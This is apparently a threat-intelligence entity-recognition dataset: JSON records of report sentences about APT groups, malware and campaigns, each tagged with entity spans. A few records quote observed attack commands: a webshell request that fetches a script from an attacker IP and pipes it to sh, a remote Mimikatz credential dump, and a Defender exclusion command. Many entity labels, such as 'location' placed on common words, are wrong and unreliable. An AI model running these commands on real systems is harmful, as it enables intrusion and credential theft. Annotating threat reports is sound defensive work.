{"id":2371,"text":"Earth Baku has developed these new malware tools to facilitate targeted attacks on public and private entities alike in specific industries that are located in the Indo-Pacific region.","entities":[{"id":47426,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":47427,"label":"location","start_offset":164,"end_offset":176}],"relations":[],"Comments":[]}
{"id":9441,"text":"For its command-line parameters, PuppetLoader uses the same flawed RC4 implementation using the password \u201cwhk0q9ogev6ofg8d\u201d.","entities":[{"id":29040,"label":"malware","start_offset":33,"end_offset":45},{"id":29041,"label":"location","start_offset":55,"end_offset":59}],"relations":[],"Comments":[]}
{"id":9862,"text":"Modified Mimikatz Conclusion TICK is an organized and persistent cyber espionage group specialized in targeting high-value individuals and organizations, with the skills and resources needed to coordinate sophisticated attacks.","entities":[{"id":30051,"label":"malware","start_offset":9,"end_offset":17},{"id":30052,"label":"threat-actor","start_offset":29,"end_offset":33},{"id":30053,"label":"location","start_offset":50,"end_offset":53},{"id":30054,"label":"location","start_offset":135,"end_offset":138},{"id":30055,"label":"location","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]}
{"id":8745,"text":"We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
{"id":7368,"text":"The tsm binary then runs in the background, forwarding a series of error messages to \/dev\/null to keep the code running, ensuring the continuous execution of the code referenced with a set of parameters \/tmp\/up.txt.","entities":[],"relations":[],"Comments":[]}
{"id":5003,"text":"We\u2019d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google\u2019s Chrome and Android teams.","entities":[{"id":51060,"label":"identity","start_offset":101,"end_offset":134}],"relations":[],"Comments":[]}
{"id":2763,"text":"Well-maintained systems will be patched today, but that dusty old system in the networking closet might never get the update.","entities":[],"relations":[],"Comments":[]}
{"id":2936,"text":"This would mean that this operation may affect about 30 million people worldwide.","entities":[],"relations":[],"Comments":[]}
{"id":3720,"text":"Carbanak campaigns can also use legitimate programs and remote access software for command and control.","entities":[{"id":49523,"label":"threat-actor","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
{"id":2924,"text":"Like bitcoin, Monero is generated through \u201cmining\u201d a computationally intensive process that provides cryptocurrency credit in exchange for computing resources provided in service to the cryptocurrency and its transaction infrastructure.","entities":[{"id":48096,"label":"SOFTWARE","start_offset":14,"end_offset":20}],"relations":[],"Comments":[]}
{"id":3765,"text":" More specifically, this flaw exists since the default user for these VMware products, horizon, has access to several sudo commands, some of which involve paths that can be overwritten as well.","entities":[{"id":49594,"label":"identity","start_offset":70,"end_offset":76},{"id":49595,"label":"SOFTWARE","start_offset":87,"end_offset":94}],"relations":[],"Comments":[]}
{"id":13822,"text":"The second function, \u201cGetRTTAndHopCount,\u201d acts as the place to put the injected hooking code.","entities":[{"id":42875,"label":"attack-pattern","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]}
{"id":4970,"text":"The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.","entities":[{"id":51030,"label":"SOFTWARE","start_offset":244,"end_offset":251}],"relations":[],"Comments":[]}
{"id":12255,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]}
{"id":4193,"text":"Hijack Execution Flow: DLL Side-Loading T1070.001 Indicator Removal on Host: Clear Windows Event Logs T1027.002","entities":[{"id":49996,"label":"attack-pattern","start_offset":23,"end_offset":49},{"id":49997,"label":"attack-pattern","start_offset":77,"end_offset":111}],"relations":[],"Comments":[]}
{"id":13483,"text":"When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors\u2019 accounts.","entities":[],"relations":[],"Comments":[]}
{"id":12644,"text":"Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":5303,"text":"The rules have the following parameters:  Protocol: TCP Chain: filter Table: OUTPUT Action: ACCEPT","entities":[],"relations":[],"Comments":[]}
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{"id":14231,"text":"In this case, decrypting them reveals references to its actual command and control (C&C) server: an IP address and a port number the malware will connect to.","entities":[],"relations":[],"Comments":[]}
{"id":4260,"text":"The substitution tables of the third algorithm were randomly generated at build time, while the attacker seemingly set the keys used in the second algorithm.","entities":[],"relations":[],"Comments":[]}
{"id":11744,"text":"Cookie Theft, also known as \u201cpass-the-cookie attack,\u201d is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":36204,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
{"id":13517,"text":"Use encryption systems for communication, especially when it involves sensitive information.","entities":[],"relations":[],"Comments":[]}
{"id":1235,"text":"Cardbuyer targets 11 different online payment platforms, as well as stolen prepaid cards, by parsing their verification SMS and automatically replying.","entities":[{"id":46618,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":2955,"text":"We want to acknowledge Palo Alto Networks researchers Bo Qu, Hui Gao, Royce Lu, Xin Ouyang and the entire IPS team for all of the hard work they\u2019ve put into discovering and validating these vulnerabilities.","entities":[{"id":45750,"label":"identity","start_offset":61,"end_offset":68},{"id":45751,"label":"identity","start_offset":70,"end_offset":78},{"id":45752,"label":"identity","start_offset":80,"end_offset":90},{"id":45753,"label":"identity","start_offset":106,"end_offset":114},{"id":45749,"label":"identity","start_offset":54,"end_offset":59},{"id":45748,"label":"identity","start_offset":23,"end_offset":41}],"relations":[],"Comments":[]}
{"id":4130,"text":"All supported functions for the customized Gh0st are shown in the following table:  Command code Function 0xC8 Terminates connection 0xCA","entities":[{"id":49929,"label":"malware","start_offset":43,"end_offset":48}],"relations":[],"Comments":[]}
{"id":11321,"text":"HYPERSCRAPE won't run unless in a directory with other file dependencies.","entities":[],"relations":[],"Comments":[]}
{"id":11256,"text":"Vision One integrates with Palo Alto Networks Cortex\u2122 XSOAR to drive automated response to incidents uncovered by Vision One.","entities":[],"relations":[],"Comments":[]}
{"id":4408,"text":"The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.","entities":[{"id":50206,"label":"SOFTWARE","start_offset":157,"end_offset":162}],"relations":[],"Comments":[]}
{"id":2048,"text":" The backdoor provided extremely useful insight into the potential threat actor behind the ransomware, as it had the following hardcoded IP address to use as the command and control (C2): 193[.]242[.]145[.]158.","entities":[{"id":6096,"label":"IPV4","start_offset":188,"end_offset":209}],"relations":[],"Comments":[]}
{"id":5318,"text":"This information includes:  A \u201c<p: \u201d string header   The pipe of the core component   All C&C IP addresses and ports   The local IP address   An interval for C&C server communication   When the next packet to be sent to a C&C server is   The main process PID   A hard-coded ID (we saw 0xA08F078B, 0xBD0A5B36, and 0xA244E5E2)   The parameters are pushed to the modules, which are initialized at this point.    C&C communication","entities":[],"relations":[],"Comments":[]}
{"id":4323,"text":"If the victim enables macros, the malicious code will be loaded.","entities":[],"relations":[],"Comments":[]}
{"id":4545,"text":"I thank the Committee for this attention on this critical issue.","entities":[],"relations":[],"Comments":[]}
{"id":808,"text":"Organizations should continue with user education to help users better spot and not fall for phishing and spam attacks.","entities":[{"id":46362,"label":"attack-pattern","start_offset":93,"end_offset":118}],"relations":[],"Comments":[]}
{"id":1588,"text":"However, it is a different attack with different malware.","entities":[],"relations":[],"Comments":[]}
{"id":11983,"text":"We terminated 5 YouTube channels as part of our investigation into coordinated influence operations linked to Brazil.","entities":[],"relations":[],"Comments":[]}
{"id":5191,"text":" Network RTPS discovery packet CVE-2021-38425 Fast-DDS, ROS 2 7.5 CWE-406: Network amplification CVE-2021-38429 OpenDDS, ROS 2 7.5 CVE-2021-38487 Connext DDS, ROS 2 7.5 CVE-2021-43547 CoreDX DDS, ROS 2 7.5 Malformed RTPS packet CVE-2021-38447 OpenDDS, ROS 2 8.6 CWE-405:","entities":[{"id":51235,"label":"vulnerability","start_offset":31,"end_offset":45},{"id":51237,"label":"vulnerability","start_offset":131,"end_offset":145},{"id":51238,"label":"vulnerability","start_offset":169,"end_offset":183},{"id":51239,"label":"vulnerability","start_offset":228,"end_offset":242},{"id":51236,"label":"vulnerability","start_offset":97,"end_offset":111}],"relations":[],"Comments":[]}
{"id":2029,"text":" Table 1. Ransomware sample comparison summary.","entities":[],"relations":[],"Comments":[]}
{"id":11738,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":36170,"label":"location","start_offset":23,"end_offset":31},{"id":36172,"label":"location","start_offset":113,"end_offset":117},{"id":36173,"label":"location","start_offset":124,"end_offset":130},{"id":36174,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
{"id":2612,"text":"Patching of internal systems that might support lateral movement and privilege escalation should be prioritized, as well as against known public exploits that these actors might employ.","entities":[{"id":47793,"label":"attack-pattern","start_offset":69,"end_offset":89}],"relations":[],"Comments":[]}
{"id":492,"text":"You can see an example of how this would work in Figure 1.","entities":[],"relations":[],"Comments":[]}
{"id":11665,"text":"     Figure 5. Algorithm for decrypting both main backdoor + stealer and configuration     ","entities":[{"id":35793,"label":"malware","start_offset":61,"end_offset":68},{"id":35794,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
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{"id":2358,"text":"It uses a publish-subscribe model via a Data Distribution Service (DDS) framework for communicating with the C2.","entities":[{"id":47413,"label":"SOFTWARE","start_offset":40,"end_offset":71}],"relations":[],"Comments":[]}
{"id":9905,"text":"Aside from the relatively noisy attacks of APT33 against oil product supply chains, we found that APT33 has been using several C&C domains for small botnets comprised of about a dozen bots each.","entities":[{"id":30230,"label":"threat-actor","start_offset":43,"end_offset":48},{"id":30231,"label":"location","start_offset":57,"end_offset":60},{"id":30232,"label":"location","start_offset":69,"end_offset":75},{"id":30233,"label":"threat-actor","start_offset":98,"end_offset":103},{"id":30234,"label":"location","start_offset":143,"end_offset":148}],"relations":[],"Comments":[]}
{"id":4049,"text":"We think this indicates that it has the capability to bypass network security systems by using these common protocols to transfer data.","entities":[{"id":49896,"label":"attack-pattern","start_offset":54,"end_offset":85}],"relations":[],"Comments":[]}
{"id":4683,"text":"public void ManageTakeOut() { string text = \"PipeName\";","entities":[],"relations":[],"Comments":[]}
{"id":5407,"text":"This can allow attackers to add anything else that they might need to complete their attacks.","entities":[],"relations":[],"Comments":[]}
{"id":7385,"text":"The init0 script running It then resets cron and removes possible cache files from other programs, starts scripts and binaries a, init0, and start, and sets the persistence by modifying the crontab.","entities":[{"id":22931,"label":"threat-actor","start_offset":40,"end_offset":44},{"id":22932,"label":"location","start_offset":45,"end_offset":48},{"id":22933,"label":"location","start_offset":66,"end_offset":71},{"id":22934,"label":"location","start_offset":114,"end_offset":117},{"id":22935,"label":"location","start_offset":137,"end_offset":140},{"id":22936,"label":"location","start_offset":141,"end_offset":146},{"id":22937,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
{"id":10457,"text":"To protect our users, Google\u2019s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]}
{"id":2956,"text":" The table below provides a summary of the vulnerabilities and which versions of Internet Explorer they impact.","entities":[{"id":48112,"label":"SOFTWARE","start_offset":81,"end_offset":98}],"relations":[],"Comments":[]}
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{"id":3183,"text":"In most of the cases that we observed, the attackers usually place their injection script in their target\u2019s online support chat page.","entities":[],"relations":[],"Comments":[]}
{"id":1452,"text":"This allows apps with different package names but signed with the same certificate to share permissions and stored data.","entities":[],"relations":[],"Comments":[]}
{"id":12728,"text":"     Figure 1: IRC bot dropping encoded shell script (detected as Backdoor.Linux.TSUNAMI.USELVBF21)      We begin by examining the dropped script from a new AWS-focused credential stealer.","entities":[{"id":39552,"label":"location","start_offset":40,"end_offset":45},{"id":39554,"label":"malware","start_offset":180,"end_offset":187}],"relations":[],"Comments":[]}
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{"id":9209,"text":"Earlier in May, Ireland's Health Service Executive (HSE) was also hit by a ransomware attack, which continues to result in major issues.","entities":[{"id":28438,"label":"identity","start_offset":66,"end_offset":69},{"id":28439,"label":"location","start_offset":123,"end_offset":128}],"relations":[],"Comments":[]}
{"id":13144,"text":"     Tags  Cloud | Latest News | Data center | Compliance & Risks | APT & Targeted Attacks | Ransomware |","entities":[],"relations":[],"Comments":[]}
{"id":2725,"text":"For successful unauthenticated exploitation an attacker would need to craft a SMBv3 packet that contains the malformed compression header to a vulnerable SMBv3 Server.","entities":[{"id":47967,"label":"attack-pattern","start_offset":15,"end_offset":43},{"id":47965,"label":"SOFTWARE","start_offset":154,"end_offset":166},{"id":47966,"label":"SOFTWARE","start_offset":78,"end_offset":83}],"relations":[],"Comments":[]}
{"id":9141,"text":"    womanhit[.]ru   Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":3034,"text":"Few people like getting into the guts of devices to manage updates and the apps on them but the reality right now is that this is not only critical for security and privacy, it\u2019s also sometimes a process that can only be done manually.","entities":[],"relations":[],"Comments":[]}
{"id":883,"text":"Figure 3. HTTP POST request containing administrative privileges  ","entities":[],"relations":[],"Comments":[]}
{"id":13530,"text":"The Fellowship aligns with the bipartisan recommendations of the congressionally mandated Cyberspace Solarium Commission (CSC).","entities":[{"id":51592,"label":"identity","start_offset":90,"end_offset":126}],"relations":[],"Comments":[]}
{"id":3664,"text":"For more background on what happens in attacks launched by Carbanak and FIN7, we pieced together information from our studies of these groups as well as information from ATT&CK tactics and techniques (a total of 65 techniques across 11 tactics) identified by MITRE to be related to these threat groups.","entities":[{"id":49446,"label":"threat-actor","start_offset":72,"end_offset":76},{"id":49445,"label":"threat-actor","start_offset":59,"end_offset":67},{"id":49447,"label":"identity","start_offset":259,"end_offset":264}],"relations":[],"Comments":[]}
{"id":12818,"text":"Shrouded Crossbow Samples from different groups using the same filename Loader component named after its target, i.e. {target name}.exe Loader component named after its target, i.e. {target name}.exe or {target name}64.exe Backdoors using the same C&C servers Connected to 211[.]72[.]242[.]120:53 Connected to 211[.]72[.]242[.]120:443 Timeline indicating arrival order Arrived two days after initial infection by SC Established presence two years prior, but re-infected at a recent time","entities":[{"id":39909,"label":"threat-actor","start_offset":0,"end_offset":17},{"id":39910,"label":"location","start_offset":58,"end_offset":62},{"id":39911,"label":"location","start_offset":105,"end_offset":111},{"id":39912,"label":"location","start_offset":119,"end_offset":125},{"id":39913,"label":"location","start_offset":169,"end_offset":175},{"id":39914,"label":"location","start_offset":183,"end_offset":189},{"id":39915,"label":"location","start_offset":204,"end_offset":210},{"id":39916,"label":"location","start_offset":243,"end_offset":247},{"id":39917,"label":"location","start_offset":482,"end_offset":486}],"relations":[],"Comments":[]}
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{"id":645,"text":" While we have not been able to directly confirm the source, we have seen evidence that a Ukrainian software application called MEDoc was used by attackers to deliver the Petya DLL.","entities":[{"id":46229,"label":"location","start_offset":90,"end_offset":99},{"id":44817,"label":"SOFTWARE","start_offset":128,"end_offset":133},{"id":44818,"label":"malware","start_offset":171,"end_offset":176}],"relations":[{"id":174,"from_id":44818,"to_id":44817,"type":"uses"}],"Comments":[]}
{"id":1176,"text":"There were many variations on this one, Senna\u2019s obviously proud of his work.","entities":[{"id":46581,"label":"identity","start_offset":40,"end_offset":46}],"relations":[],"Comments":[]}
{"id":1270,"text":" Figure 4. Japanese decoy document containing an obituary notice for a woman.","entities":[{"id":46644,"label":"attack-pattern","start_offset":20,"end_offset":34}],"relations":[],"Comments":[]}
{"id":1402,"text":" Kuluoz is a descendant of the Asprox malware and spreads by sending copies of itself as an e-mail attachment.","entities":[{"id":46751,"label":"malware","start_offset":31,"end_offset":37},{"id":46750,"label":"malware","start_offset":1,"end_offset":7},{"id":46752,"label":"attack-pattern","start_offset":61,"end_offset":109}],"relations":[{"id":216,"from_id":46750,"to_id":46751,"type":"variant-of"},{"id":217,"from_id":46751,"to_id":46752,"type":"uses"},{"id":218,"from_id":46750,"to_id":46752,"type":"uses"}],"Comments":[]}
{"id":5526,"text":"This code is typically designed to stay hidden, under the radar of the company.","entities":[],"relations":[],"Comments":[]}
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{"id":9294,"text":"The location of injected payment checkout libraries on affected online stores were:  hxxps:\/\/[online store domain]\/innerweb\/v4.0\/include\/js\/checkout_payment[.]js hxxps:\/\/[online store domain]\/innerweb\/v3.1\/include\/js\/checkout_payment[.]js  The injected script forged the Google Analytics script format, but loaded a different script from the attackers\u2019 server.","entities":[],"relations":[],"Comments":[]}
{"id":12006,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":37129,"label":"location","start_offset":23,"end_offset":31},{"id":37131,"label":"location","start_offset":113,"end_offset":117},{"id":37132,"label":"location","start_offset":124,"end_offset":130},{"id":37133,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
{"id":4305,"text":"It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protect physical, virtual, and cloud workloads.","entities":[],"relations":[],"Comments":[]}
{"id":1464,"text":"1. Signing apps with a publicly known private key  Many key pairs are well known in the development community.","entities":[],"relations":[],"Comments":[]}
{"id":39,"text":"This account takeover activity continues today, but various anti-fraud measures and law enforcement actions have made it less profitable and riskier for criminals.","entities":[],"relations":[],"Comments":[]}
{"id":414,"text":" The good news for retailers is that these attacks are wholly preventable.","entities":[],"relations":[],"Comments":[]}
{"id":13251,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":6496,"text":"Usage Example of Browser64.exe     Following the use of browser64.exe, we observed the following command being executed: powershell.exe","entities":[],"relations":[],"Comments":[]}
{"id":1813,"text":"This ensures the attacker can have administrative rights to the infected system.","entities":[],"relations":[],"Comments":[]}
{"id":5479,"text":"The first user and chatroom were created on August 27, 2017, and were probably the app authors\u2019 testing ground.","entities":[{"id":51471,"label":"TIME","start_offset":44,"end_offset":59}],"relations":[],"Comments":[]}
{"id":4525,"text":"Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":10237,"text":"The abuse of compromised email accounts in the Middle East continued in 2020.","entities":[],"relations":[],"Comments":[]}
{"id":10733,"text":"Version v1.40 Mini uses the MPRESS packer, which provides some degree of protection against AV detection and reverse engineering.","entities":[{"id":32802,"label":"location","start_offset":73,"end_offset":83},{"id":32803,"label":"location","start_offset":105,"end_offset":108},{"id":32804,"label":"attack-pattern","start_offset":109,"end_offset":128}],"relations":[],"Comments":[]}
{"id":10933,"text":"Version 2 uses SQLite to store collected data.","entities":[],"relations":[],"Comments":[]}
{"id":5331,"text":"These four bytes are the packet size that it wants to send.","entities":[],"relations":[],"Comments":[]}
{"id":10884,"text":"Just as we have seen with the Android apps, the StrongPity group favors repacking benign installers to produce trojanized versions of these applications.","entities":[{"id":33140,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":2409,"text":"Additional Resources Indicators   Existing proofs of concept (PoCs) for exploitation work under the following conditions:  Any Java application using Spring Beans packet (spring-beans-*.jar) and using Spring parameters binding could be affected by this vulnerability.","entities":[{"id":45503,"label":"SOFTWARE","start_offset":150,"end_offset":162},{"id":45504,"label":"SOFTWARE","start_offset":201,"end_offset":207},{"id":45505,"label":"SOFTWARE","start_offset":127,"end_offset":143},{"id":47489,"label":"FILEPATH","start_offset":171,"end_offset":189}],"relations":[],"Comments":[]}
{"id":3729,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  ","entities":[],"relations":[],"Comments":[]}
{"id":2393,"text":"A timeline of Earth Baku\u2019s previous campaign as APT41 and its new campaign How Earth Baku creates its malware tools Earth Baku is known for its use of self-developed tools.","entities":[{"id":47459,"label":"threat-actor","start_offset":14,"end_offset":24},{"id":47460,"label":"threat-actor","start_offset":48,"end_offset":53},{"id":47461,"label":"threat-actor","start_offset":79,"end_offset":89},{"id":47462,"label":"threat-actor","start_offset":116,"end_offset":126}],"relations":[{"id":331,"from_id":47459,"to_id":47460,"type":"duplicate-of"}],"Comments":[]}
{"id":12856,"text":"MITRE Engenuity ATT&CK Evaluations tests a solution\u2019s ability to detect an adversary performing a targeted attack.","entities":[],"relations":[],"Comments":[]}
{"id":5156,"text":"They are really susceptible to those end caps and impulse buys... and then they're going to leave.","entities":[],"relations":[],"Comments":[]}
{"id":4035,"text":"We go into further detail about these stages in our analysis.","entities":[],"relations":[],"Comments":[]}
{"id":2478,"text":"The activity involved parameters issued to the webshell that would run a command to download and execute a script from a remote server as seen in the following:  [redacted IPV4 address]:8080\/tomcatwar.jsp?pwd=j&cmd=\/bin\/sh\/-c${IFS}'cd${IFS}\/tmp;wget${IFS}hxxp:\/\/107.174.133[.]167\/t.sh${IFS}-O-%a6sh${IFS}SpringCore;'  ","entities":[{"id":45532,"label":"URL","start_offset":162,"end_offset":317}],"relations":[],"Comments":[]}
{"id":11787,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":36345,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":36347,"label":"location","start_offset":64,"end_offset":74},{"id":36348,"label":"location","start_offset":78,"end_offset":82},{"id":36349,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
{"id":11273,"text":"Scenario: If credential dumping was detected on a host, the security operations team wanted to automate the collection of artifacts to be used during a subsequent investigation.","entities":[{"id":34456,"label":"attack-pattern","start_offset":13,"end_offset":31},{"id":34457,"label":"location","start_offset":50,"end_offset":54},{"id":34458,"label":"location","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]}
{"id":2549,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":802,"text":"Adversaries are increasingly stealing and using credentials as part of their playbooks; impersonating legitimate users to access a company\u2019s most sensitive information, erase data on servers, and reconfigure them so that they can\u2019t boot; and undertake other malicious activities.","entities":[],"relations":[],"Comments":[]}
{"id":4524,"text":"This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.","entities":[{"id":50321,"label":"identity","start_offset":46,"end_offset":52}],"relations":[],"Comments":[]}
{"id":2325,"text":"It had to be extracted and converted into binary from a Uint32Array.","entities":[],"relations":[],"Comments":[]}
{"id":12057,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]}
{"id":13129,"text":"Climbing a mountain, the easy way IT leaders know that cloud security is a shared responsibility.","entities":[],"relations":[],"Comments":[]}
{"id":4051,"text":"Furthermore, it also tends to use existing frameworks to make customized backdoors.","entities":[{"id":49898,"label":"attack-pattern","start_offset":57,"end_offset":82}],"relations":[],"Comments":[]}
{"id":1032,"text":"As with most criminal enterprises, not all sellers on Taobao use their real identity, presenting a challenge in tracking down the individuals behind this activity.","entities":[{"id":46524,"label":"SOFTWARE","start_offset":54,"end_offset":60}],"relations":[],"Comments":[]}
{"id":9991,"text":"Search for active directory objects sharphound.exe SharpHound","entities":[{"id":30507,"label":"malware","start_offset":51,"end_offset":61}],"relations":[],"Comments":[]}
{"id":10121,"text":"Backdoor.MSIL.SUNBURST.A  ","entities":[],"relations":[],"Comments":[]}
{"id":2066,"text":"It\u2019s worth pointing out that \u201cVanya\u201d is a diminutive for Ivan.","entities":[{"id":47157,"label":"identity","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
{"id":6649,"text":"A significant portion of MuddyWater\u2019s toolset consisted of open sourced red-teaming tools such as Invoke-Obfuscation, Lazagne, Mimikatz, etc.  https:\/\/unit42.paloaltonetworks.com\/unit42-muddying-the-water-targeted-attacks-in-the-middle-east\/  https:\/\/securelist.com\/muddywater\/88059\/  https:\/\/www.clearskysec.com\/muddywater2\/  https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools\/  ","entities":[],"relations":[],"Comments":[]}
{"id":1905,"text":" Retrieves basic information like network information and MAC address from an infected phone SMS stealing Contacts stealing Audio recording GPS location retrieval Steals files with the specific extensions, although not all samples target these extensions.","entities":[],"relations":[],"Comments":[]}
{"id":10036,"text":"Components of the file and routine appear similar to those of a published entry, while our sample executed .x15cache, the bash script that downloads the malware.  Figure 1. Targeted machine using brute force via SSH The shell script downloads, extracts, and executes the miner payload.","entities":[{"id":30622,"label":"location","start_offset":23,"end_offset":26},{"id":30623,"label":"location","start_offset":91,"end_offset":97},{"id":30625,"label":"attack-pattern","start_offset":196,"end_offset":207},{"id":30626,"label":"location","start_offset":220,"end_offset":225},{"id":30627,"label":"location","start_offset":254,"end_offset":257},{"id":30628,"label":"location","start_offset":271,"end_offset":276}],"relations":[],"Comments":[]}
{"id":9754,"text":" Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":4878,"text":"Additionally, our CyberCrime Investigation Group is sharing relevant details and indicators with law enforcement.","entities":[{"id":50885,"label":"identity","start_offset":18,"end_offset":48}],"relations":[],"Comments":[]}
{"id":9682,"text":"   Figure 17.","entities":[],"relations":[],"Comments":[]}
{"id":734,"text":"Should a system be identified as vulnerable, the following steps should be taken for that Azure Cloud Instance:","entities":[{"id":46325,"label":"SOFTWARE","start_offset":90,"end_offset":101}],"relations":[],"Comments":[]}
{"id":3955,"text":"For obtaining user credentials, the attackers used HackTool.MSIL.Mimikatz.AF, a modified version of the open-sourced application Mimikatz, using the following parameters: x, xxx, xxxx, xxxasd. wmic \/node:{ip address} process call create \"cmd.exe \/c c:\\users\\mpBD6D42.dat xxxasd -pass > c:\\users\\23.txt  Collection","entities":[{"id":11981,"label":"FILEPATH","start_offset":238,"end_offset":245},{"id":49807,"label":"malware","start_offset":51,"end_offset":76},{"id":49808,"label":"tools","start_offset":129,"end_offset":137},{"id":49809,"label":"FILEPATH","start_offset":249,"end_offset":270},{"id":49810,"label":"FILEPATH","start_offset":286,"end_offset":301}],"relations":[],"Comments":[]}
{"id":14409,"text":"Utilize exploits targeting unpatched systems for known vulnerabilities Execute normal tool like Bitlocker, to encrypt customer data like ransomware did.","entities":[{"id":47167,"label":"tools","start_offset":96,"end_offset":105}],"relations":[],"Comments":[]}
{"id":12686,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":39368,"label":"location","start_offset":16,"end_offset":20},{"id":39370,"label":"malware","start_offset":70,"end_offset":78},{"id":39371,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
{"id":14058,"text":"Both PowerShell scripts download multiple malware to the victim machine.","entities":[{"id":43530,"label":"tools","start_offset":5,"end_offset":15}],"relations":[],"Comments":[]}
{"id":888,"text":" PClock2 proceeds to copy itself with the name \u201cwinjab.exe\u201d in the following path.","entities":[{"id":44900,"label":"FILEPATH","start_offset":48,"end_offset":58},{"id":44899,"label":"malware","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
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{"id":10619,"text":"Last week at CyberwarCon, we presented analysis about previously undisclosed campaigns from a Russia-nexus threat group called \u201cSandworm\u201d (also known as \u201cIridium\u201d).","entities":[],"relations":[],"Comments":[]}
{"id":4385,"text":"It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.","entities":[{"id":50199,"label":"SOFTWARE","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
{"id":4708,"text":"TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.","entities":[{"id":50596,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":1381,"text":"The VBS script is used to call PowerShell to set Windows Defender exclusion path to C:\\ e.g. C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Set-MpPreference -ExclusionPath 'C:\\'  5. AdvancedRun.exe is created and written to the C:\\Users\\[USERNAME]\\AppData\\Local\\Temp directory.  6.","entities":[{"id":46713,"label":"FILEPATH","start_offset":84,"end_offset":87},{"id":46716,"label":"FILEPATH","start_offset":185,"end_offset":188},{"id":46718,"label":"tools","start_offset":49,"end_offset":65},{"id":46714,"label":"FILEPATH","start_offset":93,"end_offset":150},{"id":46715,"label":"FILEPATH","start_offset":194,"end_offset":209},{"id":46717,"label":"FILEPATH","start_offset":240,"end_offset":278},{"id":46719,"label":"tools","start_offset":31,"end_offset":41},{"id":46720,"label":"tools","start_offset":4,"end_offset":14}],"relations":[],"Comments":[]}
{"id":5365,"text":"Why the malware authors decided to read either \u201clinux\u201d or \u201crootfs\u201d partition is unclear.","entities":[],"relations":[],"Comments":[]}
{"id":1775,"text":"The attackers can then use this object to perform further operations such as modification of security flag in ActiveX.  To prevent such attacks, a better idea is to detect if an arbitrary address is accessed during execution.","entities":[],"relations":[],"Comments":[]}
{"id":5133,"text":"Not enough worry about the east\/west and it's breaking down finally.","entities":[],"relations":[],"Comments":[]}
{"id":3566,"text":"From there, we can establish a hypothesis as to their source.","entities":[],"relations":[],"Comments":[]}
{"id":1194,"text":" These concerns are detailed below.","entities":[],"relations":[],"Comments":[]}
{"id":908,"text":"Unlike the original version of PClock, this variant has forgone the simple XOR encryption routine in place of using RC4.","entities":[{"id":46431,"label":"malware","start_offset":31,"end_offset":37}],"relations":[],"Comments":[]}
{"id":9632,"text":"Code snippet of the obfuscated document","entities":[],"relations":[],"Comments":[]}
{"id":1523,"text":" If the first value in the packet is 0x10 then the file will send back the current socket handle as a response back.","entities":[],"relations":[],"Comments":[]}
{"id":4143,"text":"By using this tool, they could clean specified event logs and make it hard for investigators to track their operations.","entities":[],"relations":[],"Comments":[]}
